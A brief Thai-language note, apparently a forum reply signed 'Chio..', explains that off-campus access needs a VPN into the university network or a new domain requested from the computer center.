    • หากต้องการดูจากภายนอกมหาวิทยาลัย ต้อง VPN เข้ามาใช้เครือข่ายภายในมหาวิทยาลัยก่อน หรือไม่ก็ขอโดเมนใหม่จากทางศูนย์คอมพิวเตอร์

    Chio..